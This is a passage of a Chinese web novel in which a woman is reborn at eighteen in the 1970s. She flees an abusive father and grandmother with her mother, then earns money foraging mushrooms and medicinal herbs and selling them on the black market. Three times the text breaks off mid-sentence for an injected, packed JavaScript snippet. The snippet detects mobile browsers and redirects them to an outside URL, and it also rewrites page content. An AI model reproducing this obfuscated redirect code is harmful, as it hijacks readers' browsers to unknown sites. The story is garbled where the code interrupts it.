《重生七零，我靠厨艺一夜暴富》 1. 要把闺女嫁给杀人犯？ 赵小霜撑着酸疼的身体坐起来，她感觉浑身发冷，眼前模糊不清。 “家里就这么多东西！你凭什么给那赔钱货吃！”一个粗俗的男人声音传入赵小霜的耳朵，还伴随着女人的哭声。 这到底是哪？她在做梦？但是身体的疼痛又感觉是真实的。 眼前的场景逐渐清晰起来，赵小霜却愣住了，这不是……这不是她小时候住的筒子楼吗？而眼前这两个争吵的人，正是她的爹妈，说是争吵，倒不如说是男人在单方面辱骂，甚至开始推推搡搡，地上的有个摔破的碗，碎片正好扎在了她妈妈的手上…… 赵小霜赶紧从床上爬起来，扶林秀英起来，她还没有弄明白是怎么回事。赵小霜晃了晃闷疼的脑袋，时间的错乱让她有些迷茫。 她隐约记得在酒店，有人给她的房间里塞了庄白川和许晚清的床照，她急火攻心买了车票回川阳市，一进家门就看到许晚清坐在沙发上捧着热茶看杂志，那模样完全就是这个家的女主人一般，她气急了，不由分说给了许晚清一个耳光，庄白川从厨房出来，不由蹙起了眉推开她：“赵小霜！你简直就是个泼妇！我和晚清清清白白，今天晚清来也是想给你买些礼物赔礼道歉！思想龌龊的人是你！” 好一个清清白白，好一个思想龌龊，庄白川和她结婚十年，赵小霜一腔真心满腹柔情，陪他熬过创业最艰难最苦的十年，帮扶他的事业，满心满眼都是他，眼看着事业要有起色，家里光景也终于好起来，他却和这个许晚清勾勾搭搭不清不楚。赵小霜看着床照都已经送到了她手里，却还是“清清白白”的两个人，心中如同刀割般疼痛。 许晚清和庄白川从小在一个大院长大，两家人的关系也非常好。许晚清比庄白川和赵小霜小5岁，赵小霜嫁过来的时候也才18岁，一直把许晚清当妹妹看待，带着她出去逛街，给她做喜欢吃的红果糕。周日庄白川休息，他们一起带着许晚清去人民公园玩，大院还有人调侃，你们三个真像一家三口！ 一家三口，赵小霜怎么都没想到，是这样的一家三口。她看着一脸委屈眼眶里还蓄着泪珠的许晚清，她身旁的庄白川正担心地检查她脸上的伤势。 “赵小霜！晚清她年纪小不懂事，如果有什么让你误会了，她这不是来道歉了吗！你至于这么咄咄逼人吗！” “晚清年纪小不懂事，你也不懂事吗。” 庄白川似乎没有想到她会这么说，愤怒的表情在脸上僵住，显得有些滑稽。 赵小霜突然感觉浑身的力气都泄空了，她的愤怒，她的委屈，她的悲伤，此刻在这对“恩爱”的小鸳鸯的面前，都无从发泄，她的泪水从眼眶中逃跑，声音却出奇的冷静。 “我们离婚吧，庄白川。” 一声巨响把赵小霜从回忆中拉回来，赵令强的酒劲上来，不管桌子上还有东西，把整个桌子掀翻在地。 林秀英倚着赵小霜站起来，脸色苍白，一句话也不说。 赵小霜的妈妈林秀英父母早逝，留下秀英和两个年幼的弟弟，为了养活这两个弟弟，秀英嫁给了城镇里的工人赵令强，秀英生赵小霜的时候身体虚，没有营养，没出月子就又干活，落下了病根，后来一直没有再怀孕，而赵令强一直想要个儿子传宗接代，赵小霜出生的时候差点被自个儿爹和奶奶直接扔进茅坑！还是林秀英拖着身体硬把她抢回来的。 好说歹说养了这个闺女，也经常少吃少穿，不让她读书，她爹和奶总挂在嘴巴的就是“生了个赔钱货！呸！” 赵小霜小时候经常半夜饿得睡不着觉，都是秀英偷偷给她拿点生的苞米粒子啃，再轻轻地拍打她哄她入睡。虽然秀英自己不识字，却坚持要送小霜去读书，缩衣节食出去帮工挣点钱，让赵小霜不至于成了大字不识的文盲。 在赵小霜和庄白川结婚后不久，庄白川家里就找了关系把他调回了城里，赵小霜也跟着他去了川阳市，她多次提出要把秀英接去市里住，却被赵令强又打又骂强行阻止。川阳市离西顺县很远，一天只有两趟大巴，要坐三个小时才能到市区，赵小霜人生地不熟，又要照顾庄白川的父母和弟弟，已经分身乏术，因此也很难找到机会把林秀英接出来。她想着等日子过好一些后，再去想办法接林秀英，没想到刚过两年，林秀英就因病去世了。 想到这儿，赵小霜不禁红了眼眶，她搀着秀英的胳膊，查看她手上的伤势，秀英的手骨节粗大，皮肤皱皱巴巴，布满了老茧和裂口，手心正淌着血，赵小霜的眼泪一下就下来了。 眼前满身酒气的男人还在不停地骂骂咧咧，赵小霜没有理会，带着秀英出门去找诊所，秀英看赵小霜落泪，反过来安慰她：“没事，妮儿，妈不疼。” 到了最近的诊所处理完伤口，赵小霜却发现没有带钱，一个护士叹了口气，显然知道他们家的情况，她给林秀英包扎好，也没有说收钱的事情就让她们走了。 回到家，赵令强已经躺在床上呼呼大睡，地上桌上一片狼藉，秀英拿起扫帚就要打扫，却被赵小霜按住了手。 “妈，你都这样了，还打扫啥？” 秀英叹了口气，看了看赵小霜，问道：“妮儿啊，你脑袋还疼不？” 秀英摸了摸她发烫的额头，又淌下了两行泪：“你受苦了。” 赵小霜后知后觉自己还在发烧，怪不得浑身上下哪哪都疼，但是眼前也管不了那么多了，她不知道为什么会突然回来18岁这年，但此时她还没有和庄白川结婚，妈妈也没有因病去世，她一定要保护好妈妈，眼前最要紧的，是离开这个吃人的家。 这么想着，她从院里拾了块转头，走进里屋，手起刀落直接砸开了柜子的锁，扫了一圈柜子，柜子里只有几个鸡蛋，一些简单的调味料，还有零星的几张粮票肉票，她把粮票肉票卷成一卷塞进裤兜子里，想再找点钱带上，赵令强好歹也是工厂工人，按理说家里不至于穷困至此，赵小霜又搜寻了一圈，还是一无所获。她叹了口气，把柜子里的四个鸡蛋全拿了出来。 “妮儿啊，你，你这是要干啥嘞！”林秀英惊呆了，“你奶回来要揍你！” 赵小霜也没管她妈惊愕的神情，直接出门在门口的炉子上架起了锅，把油倒上，鸡蛋搅散加了一点盐，油热以后把鸡蛋液滑进去，定型后用铲子切块翻炒一下出锅。 林秀英惊讶地看着自己的女儿，她感觉女儿有哪里不一样了，又不敢多说什么。 “妈，吃！留着也是给那两个不要脸的吃了，吃了咱们就走！” “走，走哪去？” “不管去哪，反正不能在这个家呆了！” 赵小霜端着鸡蛋进屋，桌子被赵令强推倒了，她也不管，随便拉了个小板凳坐下，把炒鸡蛋也放凳子上，给她妈拿了个筷子。 “妈，我们继续在这个家呆着，只会被他们欺负死！” “可是…可是我们没有去处啊…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883652|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”林秀英说着又开始哽咽。 赵小霜一边大口嚼着鸡蛋一边想着，身上没有钱，出去自己租房是不可能了，上一世她经常去深市培训学习，对深市相对比较熟悉，但此时她也没有钱买火车票，而且还要在赶紧挣够给妈妈检查和治病的钱，她是真的有点不知道该怎么办了。 她把一块外焦里嫩的炒鸡蛋送到林秀英嘴边，问道：“妈，我们回林家庄吧。”林家庄是林秀英的老家，现在家里还住着林秀英的两个弟弟。 林秀英听了却没有同意的意思：“我早就嫁人了，哪有这个时候回娘家的，再说了……” 赵小霜直接打断她妈的话，“我在这个家里活不下去了，爸要把我买了换彩礼钱，奶奶天天在外边打麻将，回家就对我们非打即骂，这次要不是庄白川把我救回来，我就死了。” 林秀英从没见过自己的女儿这样子，小霜和她一样，是个温顺的性子，从来打不还手骂不还口，看着闺女这样子，她一时说不出话来，以为她还在发烧说梦话。“妮儿啊，吃完了你就先睡会儿，啊，妈给你拿药去。” 赵小霜叹了口气，知道一时半会改变不了她妈的想法，这个年代嫁鸡随鸡嫁狗随狗，普通人家哪怕是家暴也不会随便离婚。 赵小霜吃了退烧药，进屋里躺下了，黑黢黢的屋子又矮又挤，塞了三张床，她平时就和妈妈挤在最里边的床上，挨着北窗，冬天漏风漏雨，冻的要命。赵小霜裹了裹被子，高烧让她的眼眶骨酸疼不已，这个年代来钱快的方法只有倒卖，但是很容易被认定为投机倒把，不过现在大家物资都非常缺，做一些小食小心点去卖，倒是也能挣点钱。 就这么想着，她倒是迷迷糊糊睡着了，直到听到了外边的争吵声，原来是她奶打麻将回来了。 “好你个贱蹄子！我儿子一个月辛辛苦苦出去挣钱，你们娘俩天天在家什么都不干，还把家糟蹋成这样！哎哟！我活不了啦！！” 赵小霜走出里屋，看到的就是一个头发花白的老太太，坐在地上演戏似的拍着地面，哀嚎着不活了的样子。这就是她那个爱打牌不干活天天打骂她们母女的奶奶李翠香。 看到赵小霜走出来，这老太太撑着地站起来就要揪她的耳朵，赵小霜知道这老太太是又打牌打输了，要拿她撒气。 赵小霜直接捏住李翠香的手，冷着脸道：“你除了天天撒泼打人你还会干什么？！” 李翠香没见过赵小霜这样子，一下呆在原地，但是马上又反应过来，要用脚去踹她，没想到赵小霜直接捏着她的胳膊往地上一推，似乎是没想到赵小霜会反抗，李翠香直接摔倒在地，这动静吸引了隔壁的邻居们探头探脑的张望。 李翠香倒在地上，当即大声嚎叫道：“哎哟！我家这赔钱货要杀人啦！” 赵令强刚出门抽烟，听到这动静赶紧进门，看到自己的老母瘫在地上，不由分说走上前给了赵小霜一巴掌，又揪着她的头发往墙上撞。“我看你是翅膀硬了！我打死你这个不孝的贱人！” 赵小霜躲闪不及，被打的头晕眼花，一时站立不住，她又听到赵令强说：“妈，我已经和下田乡的农栋说好了，他刚死了老婆，让赵小霜明天就嫁过去，省的天天在家吃我的喝我的，真是个赔钱货！” “什么！” 林秀英刚从外边回来，就听到赵令强的话，手里的东西掉在地上。 “你要把闺女嫁给那个杀人犯？！” 2. 连夜逃跑 “你要把我们的闺女卖给那个杀人犯？！” “什么杀人犯，人家就是刚死了老婆，小霜嫁给他啊，给我300块钱彩礼呢！” 赵令强搓着手，兴奋地笑着，赵令强是钢厂的二级工人，一个月也就能拿到30块钱的工资，这300元对他来说无疑是一笔巨款。 赵令强上个月说好要把赵小霜嫁给隔壁街道的老光棍，赵小霜走投无路之下跳了湖，这事儿就不了了之。现在才刚过了两天，他又不知道从哪找到了这个死了两个老婆的王农栋。 这个王农栋也是个喝酒打老婆的，他这个刚死了的老婆是下乡的知青，下乡的时候住在他们家的西厢房里，王农栋的第一任老婆生孩子难产死了，他没多久就把这个年轻的知青给欺负了，然后娶进了门，前不久这个女知青的父母去世，她生了一场大病，这个王农栋非但没有照顾她，喝了酒赌输了还拿她撒气，把她腿都打骨折了！也不送她去医院，女知青走投无路，绝望之下喝了农药自杀了，这两天刚办了丧事。 筒子楼里的赵婶也是下田乡的，前段时间回娘家才听说这事儿，回来给筒子楼的人们讲的绘声绘色的，众人听后唏嘘不已，纷纷唾骂这个王农栋。 而现在，赵令强居然要把自己的亲闺女，嫁，不对，应该说是卖，卖给这个王农栋，林秀英浑身发抖，却像一个护崽的老母鸡一样，张开双臂护在赵小霜的身前。 上一世就是这个时候，庄白川救下了跳湖的赵小霜，后来又上门求娶，许诺给她一个家，对那时的她来说，庄白川就像人生中的一束光，是泥沼中的救命稻草。她满心以为从此脱离了苦海，开启了新的人生，却没想到…… “你，你……”林秀英说不出话，浑身像被冬天的河水泡过一样，冷到了骨头缝儿里。 “咋了，我养她这么大，供她吃给她穿，还不能让她结婚了？” “秀英啊，这也是为了小霜好，她也十八了，该找人家了……”李翠香假惺惺地劝说道。 赵令强冷笑一声，伸手就要去拽赵小霜，嘴里还骂骂咧咧的：“行了！我看她现在一点事儿也没有，还生病呢，都是装的！还敢吃老子的鸡蛋！” 林秀英大叫道：”你不许动她！” 赵令强拽住林秀英的胳膊，把她摔翻在地，“趁老子好好说话的时候识相点！我看你们俩都是太久不挨打了，不知道谁是老大了是吧！” 说罢就狠狠地向林秀英的肚子踹去，“不下蛋的瘟鸡！老子迟早杀了你！” 赵小霜头疼欲裂，这一世她不会再等待庄白川的救赎了，此刻看着赵令强殴打着林秀英，赵小霜再也忍受不了，她今天非要和赵令强拼个你死我活！她拿起地上的凳子，举起来就朝赵令强的后脑勺打去，但现在的她又瘦又小，胳膊细得像个麻杆，纵然使了全部的力气，也没把赵令强打晕，赵令强的怒火蹭一下就上来了：“我看你俩今天是发猪瘟！我非好好教训你俩不可！” 赵令强是钢厂的工人，每天铲煤渣，胳膊力气非常大，眼看他的拳头就要落在赵小霜的脸上，却突然吃痛地歪向了一边，林秀英满脸是血，披头散发，衣衫不整，手里握着家里的菜刀，狠狠地喘着粗气，赵令强的后背出现了深深的一道血口，见赵令强还站着，她挥着菜刀就要继续砍他，这下可把赵令强和李翠香吓坏了，赶忙朝旁边躲闪，门外探头探脑想看热闹的邻居也没一个敢去空手夺刀的，纷纷作鸟兽散。 林秀英抖着嘴唇，一只手拉起赵小霜，另一只手拿刀指着赵令强，慢慢朝门外走去。 出了大门，天色已经黑了下来，林秀英生怕赵令强追上来，用尽了全身的力气带着赵小霜跑，直到跑出一里地，赵小霜体力不支，她们才停下来。 “妮儿啊，你咋样啊……疼吗……”林秀英坐倒在路边，刚才保护女儿的心让她站起来反抗，现在肾上腺素的退去却让她再也挪不动腿脚，“是妈没用，妈保护不了你……这下可怎么办呀……” “妈，别这么说，赵令强就是个人渣，没有这次还有下次，这些以后再说，天马上黑了，咱们得抓紧回姥姥家了。”再走半个小时就出县了，西顺县到林家庄的路程不算近，更何况中间荒郊野岭的，晚上容易有狼出没，赵小霜不敢再拖延。她连拉带拽地把秀英拉起来，拿过她手里的菜刀。林秀英这次再没说什么，两个人互相搀扶着，在夜色中深一脚浅一脚地向林家庄走去。 等到了林家庄，已经是深更半夜，林秀英推了推家里的破木门，门从里边用生锈的铁链子挂上了，林秀英轻喊了一声：“建业！”本以为没人会应答，没想到林建业正好要去大队接班看谷子，他披了一件深蓝色的硬布衫，开门就被林秀英母女俩吓了一大跳。 “姐？小霜？你俩咋在这儿？这是咋了，怎么全身都是血？！” 林秀英摆摆手，干裂的嘴唇说不出话来，小霜赶紧说：“舅舅，我妈被我爸我奶打了，我们没地方可去了……” 话还没说完，林建业就捏紧了拳头，他知道这些年姐姐过的并不好，他有几次去西顺县看望林秀英，赵令强看不上他这个农村来的小舅子，没少冷嘲热讽，从来没有给他好脸色。有一次被他发现赵令强打自己的姐姐，他要去算账，却被林秀英拦了下来，他们家一直穷，父母去世时林秀英才16岁，林建业10岁，最小的弟弟林建华才3岁，他们干不了什么农活，又被亲戚搜刮掉不少东西，要不是他姐当初嫁过去赵家，这三个孩子怕是要活生生饿死。 后来林秀英有了赵小霜，就更是有了软肋，林家人忍气吞声，没想到换来的却是赵令强的变本加厉，林秀英越是不敢反抗，赵令强就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883653|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越是肆无忌惮。 林建业进屋把林建华叫起来，点了煤油灯，又给林秀英和赵小霜倒了两碗热水，安顿好母女俩后，赶紧赶往了大队谷场。 林建华看着自己姐姐和外甥女浑身的伤，不由落下泪来，他生下来就体弱多病，经常发烧，吃不下东西，大他十三岁的林秀英自己也还是个小孩子，每天背着他去地里干活，给他喂米汤，才把他拉扯大。看到她们母女俩这个样子，怎么能不心痛？ 林建华擦擦眼泪，给母女两人打了盆热水，拿了两件夏天的干净衣服。 林秀英和赵小霜洗去一身的血渍和泥泞，换上衣服，赵小霜这下才切身感受到了疲惫，她再也支撑不住，沉沉地睡去了。 这一觉赵小霜睡得很沉，她好像又到了深市在上课，一会儿好像回到了和庄白川的单元楼里，一会儿又好像回到了筒子楼，被赵令强打倒在地。 等她终于清醒过来后，已经是第二天的傍晚，林秀英看她醒来，赶紧给她递水，“妮儿，你都睡了一天了，赶紧喝点水，饿不饿啊，妈给你拿窝窝头去。” 赵小霜环顾四周，林家的茅草土房昏暗又破旧，低矮的屋顶仿佛要压到她的身上，土炕上铺着稻草编成的席子，睡起来拔凉又硌人。屋子里没有什么家具，只有一进门有个破破烂烂的木桌子和柜子，桌子上边放着一个煤油灯，微弱的火光正摇摇晃晃。 好在这一觉睡起来，她感觉烧已经退了，外边正下着雨，林建业和林建华都去大队收谷子了。这两个舅舅都还没有成家，赵小霜和林秀英在这里住一段时间是没有什么问题。 赵小霜已经做好了计划，她记得林家庄村后有一大片山林，这个年代的生态还是比较好的，野生药材、野菜、蘑菇都比较多，上辈子她的婆婆，也就是庄白川的妈妈身体不好，她为了讨好这一家子，去找老中医拜师学了很多中药的知识，也跟着师父上山采药，自学了很多药膳的做法，没想到现在派上了用场，她准备等明天上山去采摘一些药材，晒干了去县里卖，作为她的第一笔“启动资金”。 林秀英给她倒了一碗热水，又拿了一个玉米面掺高粱面的窝窝头给她，窝窝头吃起来又干又硬，咽的时候直喇嗓子，她就着热水好不容易把窝窝头吃完，好在是填饱了肚子。 这个时节已经入秋，西顺县里已经渐有冷意，村子里就更冷了，外边还淅淅沥沥下着小雨，赵小霜看着四处漏风的屋子和漏棉花的硬棉被，想着在入冬前，得把屋里修缮一下，窗户得重新糊，如果有办法弄点玻璃换成玻璃是最好的，林家庄海拔比较高，冬天非常冷，取暖也主要靠自己烧煤炉，因此得多弄点煤炭，再弄几床厚棉花被子，冬天没什么蔬菜，还得提前腌点酸菜，再多弄点肉冻起来，米面油也得提前储备，不然这个冬天他们一家人实在太难熬了。 3. 挣了27块钱1毛钱 第二天一大早，天还没亮，赵小霜就带了一个窝窝头，背了个箩筐说去捡柴火。 从林家出来往北走，没过一会儿就到了山脚下，赵小霜往山上爬了会儿，并没有发现太多的野菜，这个年代大家都缺衣少食，村子里更是吃不饱饭，几乎家家户户都挖野菜吃。 赵小霜没有泄气，她背着背篓继续往上走，不知不觉就走得很远了。终于，她在一棵倒了的树下边，发现了两朵牛肝菌，她小心翼翼地把菌子扣下来，放进背篓，一抬头，发现不远处又有好多菌子，赵小霜不由得兴奋起来，因为昨天下雨的缘故，现在山中的菌子都发起来了！她不停地拨开落叶，采到了羊肚菌、鸡腿菌、奶浆菌、鸡枞菌，背篓不一会儿就铺满了底。 赵小霜接着往上走，穿过一小片茂密的灌木丛，眼前出现了一簇簇红色的小果子，赵小霜认出来这是五味子，赶紧扯了一片大叶子铺在背篓里，用手小心翼翼地把五味子撸下来，五味子尝起来有酸甜苦辛咸，五味俱全，因此称为五味子，这种东西村里人也偶尔会摘来泡水或者泡酒喝，可以安神，赵小霜准备多摘一些回去做成五味子膏或者五味子酒。旁边还有几棵山胡椒树和木姜子树，她也一并摘了许多，准备晒干了做饭用。 又走了一段路，赵小霜惊喜地发现前边有一条小溪流，她几步并作一步赶过去，看到水中有很多的鱼虾，这可把她激动坏了，这都是优质的蛋白质呀！这个年代人们不怎么会抓这种野生的小鱼来吃，吃起来有一股土腥味儿，抓起来也费劲，所以来山里捞鱼的人并不多，赵小霜准备回去做个小网兜，下次来放上抓点鱼虾吃。 溪流边的植被更加茂盛，土质也更肥沃，赵小霜爬上爬下，没一会儿就摘了半框子蘑菇，还采到了好多野葱和野蒜，还意外发现了一窝野鸡蛋，她赶紧把这几个鸡蛋也放进背篓里，心里盘算着下次做个弹弓或者简易的弓箭来抓几只野鸡。上一世她出于兴趣爱好学过几年射箭，准头也还不错，但也不知道拿来抓活物是否可行。 就在她摘的差不多准备继续往深处走时，突然发现一个腐烂的木桩，下边隐隐约约露出来几个鸡腿菇，赵小霜把木桩翻过来准备采鸡腿菇，结果却发现树缝中有三朵通红的灵芝！赵小霜掏出刀，小心翼翼地把灵芝割下来，这种赤灵芝伞盖发亮，药用价值非常高，为了避免把孢子粉抖掉，赵小霜又拿了一个大叶子给它们分别包住，放进背篓的深处。 就这样忙上忙下地采了一天，她收获了三朵灵芝，两根党参，一大把北柴胡，一大筐野生菌，还有一些野生薄荷叶，野葱野蒜，胡椒木姜子之类的香料。 下山的时候赵小霜已经累的气喘吁吁了，她现在的身体十分孱弱，又刚退了烧，所以她没有再贪，捡了一些干柴枝盖住背篓的东西后，就匆匆忙忙回家了。 到家以后太阳已经快要下山了，赵小霜进家以后，两个舅舅也才刚从地里回来，他们年轻力壮，也能挣不少工分，但这个时候本身粮食产量也不多，交完公粮每家每户也不剩多少，这两个舅舅又是老实本分的，家里一直就这样穷着过。 赵小霜暗暗叹了口气，把柴火抱到东墙边，就开始趁着一点点昏暗的天色去分拣蘑菇，她把羊肚菌牛肝菌等比较值钱的菌排开防止变质，剩下的菌准备洗干净了自己吃，她又拿了一个竹编的箩筐，把五味子、山胡椒清理干净摆上去铺平。 她大概算了算，这三朵灵芝最大的有13厘米左右，品相也最好，估计能卖到十几块钱，最小的只有5厘米，可能只能卖两三块了，其他的菌类零零散散估计能卖个三四块，党参和北柴胡并不算稀缺，她采摘的也不多，估计也只能卖个三四块，但这才第一天上山，她已经很满意了。 晚餐是苞米碴子粥，林建业还切了一些咸萝卜干，赵小霜把今天掏的野鸡蛋拿出来，磕进碗里，搅打均匀，加了一些盐调味，又把今天摘的野葱野蒜洗净切小段，也放进鸡蛋液里，锅热了以后加了一点点少的可怜的油，把鸡蛋液放进去定型，葱蒜的香味儿伴着鸡蛋的焦香味儿飘出来。 赵小霜把野菜鸡蛋饼用锅铲简单分成了四份，端到桌子上让大家吃。林建华瞪大了双眼：“闻着好香啊！” “估计大家都秋收忙吧，不然这也不能让我捡到。”赵小霜谦虚道，上山跑了一天她早就饥肠辘辘，赶紧就着热乎的鸡蛋饼喝了一口碴子粥，她现在一个人赶山还不熟练，她准备再多跑几趟，去采一些黄连，黄芪，何首乌之类的药材，70年代后期的野生黄连价格堪比人参，一斤能卖40到50元！在这个猪肉八毛钱一斤的时代，这无疑是一笔巨款了。 晚上，赵小霜让妈妈帮忙做个捕鱼的网兜，上窄下宽，鱼虾进去了就出不来。又找小舅要了个弹弓，看能不能抓到野鸡野兔之类的，改善一下伙食。 赵小霜盘算着明天一早先去县里的黑市把药材菌菇卖了，再买点猪肉猪下水还有面粉回来，先给家里改善一下伙食，再试试能不能做点卤味或者其他小吃来卖，采摘药材虽然也是个挣钱的法子，但她不可能每天都这么幸运采到这么好的东西，天气马上也转凉了，她顶多再上山两个月，基本也就下雪封山了。 第二天凌晨，赵小霜把菌菇药材都码好放进背篓里，趁天还没亮，赶紧出发去县城。 黑市一般都是凌晨三四点交易，她来的这个时间应该已经没什么人了，但她还是决定碰碰运气，她用布把头和脸蒙起来一半，凭着一点过去的记忆，进入一个巷子以后，赵小霜左拐右拐，终于找到了几个还在卖东西的小贩，几个人见她过来，露出了警惕的神色，她赶紧把自己的东西靠墙边放下，友善地小声解释：“我也是来卖东西的。” 几人见状，没有说话，但明显松了口气。 赵小霜从背篓里掏出来一块有点破旧但很干净的藏蓝色布，把自己的东西小心翼翼地码出来，按品类分好，她留了个心眼，把灵芝留在了背篓里，毕竟她第一次在这里卖东西，也把握不好周围都是什么人。 赵小霜就这么靠墙坐下，上午明显已经没什么人来了，等了一个多小时，就来了一个知青，是准备回城，想给家里带点土特产，没在外边买到，从赵小霜这里买了点牛肝菌和羊肚菌带回去，赵小霜采的是头茬的羊肚菌，个个肥美肚大，个头也不小，看着就是好货，她一斤只卖五毛钱，牛肝菌一斤只卖四毛钱，这个知青干脆买了两斤羊肚菌，一斤牛肝菌，基本把她的摊位买空了。 但之后就再没人来，赵小霜有点懊恼，后悔自己没有半夜赶路过来，林家庄离西顺县有点远，就算脚程快的人也得走两个多小时，她要是有一辆自行车就好了，能节约不少时间，但现在买自行车怎么也得一百二十多块钱，还要工业票，她现在可到哪里买呢。 就在赵小霜愁眉苦脸的时候，来了一个胡子白花花的老爷子，老爷子看着年纪很大了，但身子骨却很硬朗，他走到赵小霜跟前，拿起她的党参和北柴胡看了看又闻了闻，连价格都没问，直接说：“还有多少，我全要了。” 赵小霜一下子跳起来，她把框里剩下的药材都拿出来，热情地说着：“老爷子，我这儿有不少北柴胡，都是昨天山上采摘的。”她看出来这个老爷子是识货的，可能是附近中医馆的老中医出来采买药材，她又压低声音：“老爷子，我这个党参不要钱了，您给我肉票或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883654|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者粮票就行。我这儿还有灵芝，您看看要不要啊。” 她把包起来的灵芝拿出来，捧在手上给老爷子看，对方仔细端详后点了点头：“这两个大的品相不错，我要了，一个给你20块钱，最小的这个就不要了。” 这可比赵小霜预计的钱还要多，赵小霜直接把三个都包一起，说道：“您是我今天最大的客户，这小的送您了！” 说罢，又把北柴胡和两根党参整理好，帮忙装进老爷子的斜挎布兜里，老爷子从兜里数出几张零钱和肉票，递给赵小霜，点点头就转身离去了。 这下赵小霜可开心了，她的背篓里也只剩下一些零散的牛肝菌了，她整理了一下，递给旁边的大哥，笑着说道：“大哥，今天在这儿也麻烦您了，您别嫌弃，下次我摘到羊肚菌再给您！” 她嘴上说的客气，其实在这里都各卖各的，并没有影响到他，这个被她称为大哥的人有些意外，但还是收下了她的牛肝菌，“你叫我刘哥就行。” 赵小霜收拾好东西，已经是大中午了，估计现在去国营商店也买不着猪肉了，她转头问刘哥：“刘哥，这儿哪里能买到猪肉啊？”刘哥刚收了她的半斤牛肝菌，自然是乐意帮忙的，他自己的东西也卖的差不多了，见赵小霜问，便收了摊子带着赵小霜往巷子里走，七拐八绕的，终于找到了一个黑黢黢的自行车，“老四，还有猪肉没得？” 被刘哥称为老四的人抬眼看了看赵小霜，有点不耐烦地说：“你们来太晚了，只剩下骨头和下水了，猪板油倒是还有点，要不要？” “要要要，我们要。”赵小霜赶紧点头，骨头她可以用来吊汤，下水做成卤味，猪板油正好用来炼猪油，能做不少好吃的，后世的人们不爱吃肥肉肥油，可这个年代大家都缺油水，肥肉是最解馋的。 赵小霜把老四剩下的东西包揽一空，又让刘哥四处带着买了点草果、桂皮、香叶、辣椒等香料，又买了两只烫了毛的母鸡，还买了一斤散装白酒。她背着沉甸甸的背篓，和刘哥道了别，想去找个药店给她妈妈买点药膏，她手上的伤口两天了也不见好，还不时往外渗血，大概朝南走了两条街，终于看到一个小小的中医馆，她走进去问道：“请问有没有止血的伤药？” 没成想却看见刚才的老爷子从里边走出来，手里正提着个小秤抓药，老爷子看到是她，点了点头算打过招呼，给她拿了一个小小的圆铁皮盒子，里边是墨绿色的膏状物，“一天两次，伤口不要碰水。” 赵小霜接过药膏，正要给钱，老爷子却开口道：“以后你再采到好药材，直接来我这儿，我这儿缺药材。这药膏就不用给钱了，当是回礼。” 赵小霜见状也不客气，大大方方地收下，和老爷子道了别。 今天卖东西一共得了46块3毛钱和两斤肉票，她买香料一共花了1块1毛钱，猪板油比较贵要8毛钱一斤，她买了六斤花了4块8毛钱，猪骨头和猪大肠只要3毛钱一斤，虽说比国营商店还是贵了一毛，但不需要肉票，还是很划算的，赵小霜一口气买了五斤筒骨和二十斤猪大肠。又从老四手里花3块钱买了十斤的粮票，十尺布票。 散装白酒9毛钱一斤，她花了1块钱买了一斤白酒和一个瓶子。又买了五斤小麦面粉，花了1块8毛钱，两只母鸡一共花了2块3毛钱，折腾完这一圈，她手里还剩下24块8毛钱。第一次卖东西能有这样的收获，赵小霜非常满意。 等她背着背篓回到林家庄，已经是下午六点多了，赵小霜饥肠辘辘，但今天挣到的钱让她精神亢奋，老天爷给了她重来一世的机会，她不会再等着别人的施舍，她要依靠自己的双手，打拼出自己的世界。 4. 一腔真心喂了狗 赵小霜看舅舅他们还没回来，先垫吧了一口冰凉的窝窝头，肚子里的饥饿感没有那么强了，她才开始处理买来的东西。她先从柜子里翻出来几个坛子，洗干净放院子里晾着。 又把猪大肠放进大盆里，从井里压上来水泡着。把猪板油洗干净切成两指宽的小块，给灶里生上火后，把猪油块放进去，又放上两片姜，几根野葱，倒入一点白酒，加上没过猪油的水，等水沸腾后撇去浮沫，控制小火慢慢熬煮。这样熬出来的猪肉白净透亮，没有腥味儿，凉透以后也没有杂质。 等猪油熬煮的这个过程，赵小霜舀了四碗小麦面粉，虽说买了五斤白面，但一家四口人根本吃不了几天，她想了想又加了一碗玉米面，一碗高粱面，和成面团，擀开以后切成细细的面条，另起了一个小锅水开下面条。 等猪油熬煮得差不多开始出油了，赵小霜拿了一个晾干净没有水的瓦罐，给底部放了一层盐和胡椒粒，开始一勺一勺往瓦罐里舀油。 等猪油渣变得金黄干瘪的时候，把猪油渣再单独盛出来，锅里留了一些猪油，她把洗干净撕成条的鸡腿菇奶浆菌倒进去，翻炒后加上盐调味，又切了一些猪油渣放进去翻拌均匀，就成了简单的菌菇浇头。 